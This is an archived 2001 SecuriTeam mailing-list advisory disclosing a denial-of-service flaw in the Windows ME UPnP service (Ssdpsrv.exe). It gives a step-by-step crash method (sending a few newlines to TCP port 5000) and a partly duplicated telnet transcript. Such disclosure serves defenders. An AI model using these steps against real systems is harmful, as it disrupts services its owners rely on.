

[NT] DoS Found in Ssdpsrv.exe (UPnP)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-10/0063.html>

From: support@securiteam.com

Date: 10/23/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [NT] DoS Found in Ssdpsrv.exe (UPnP)

Message-Id: <20011022221559.384CF138C9@mail.der-keiler.de>

Date: Tue, 23 Oct 2001 00:15:59 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

DoS Found in Ssdpsrv.exe (UPnP)

SUMMARY

Universal Plug and Play (

<<http://support.microsoft.com/support/kb/articles/Q262/4/58.ASP>> UPnP) is

an architecture that supports peer-to-peer Plug and Play functionality for

network devices. One of the ways it communicates with network devices is a

service that listens for connections on TCP port 5000. A security

vulnerability in the product allows attackers to crash the service by

connecting to it, and sending it bogus information.

DETAILS

By connecting to a computer running Ssdpsrv you are able to crash the Ssdpsrv server.

Ssdpsrv.exe is the file that starts the UPnP server on WindowsME boxes.

This service comes standard with the WindowsME installation (but is not enabled by default).

Example:

Method to crash Ssdpsrv:

1) Connect to the computer on port 5000.

Securiteam: [NT] DoS Found in Ssdpsrv.exe (UPnP)

- 2) Send 3 to 5 newline characters.
- 3) You then get an error and are disconnected.

<snip>

```
bash-2.05$ telnet 165.121.234.217 5000
Trying 165.121.234.217...
Connected to 165.121.234.217.
Escape character is '^]'.

HTTP/1.1 400 Bad Request

Connection closed by foreign host.
bash-2.05$
</snap>
```

HTTP/1.1 400 Bad Request

Connection closed by foreign host.

```
bash-2.05$
</snap>
```

Here is the error caused by the crash:

Ssdpsrv has caused an error in MSVCRT.DLL.

Ssdpsrv will now close.

If you continue to experience problems, try restarting your computer.

This causes the server crash and closes port 5000. Either you must restart the server by manually running ssdpsrv.exe or reboot.

ADDITIONAL INFORMATION

The information has been provided by <mailto:mtwoar@hotmail.com> milo omega.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] Multiple Looking-Glass Input Vulnerabilities"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)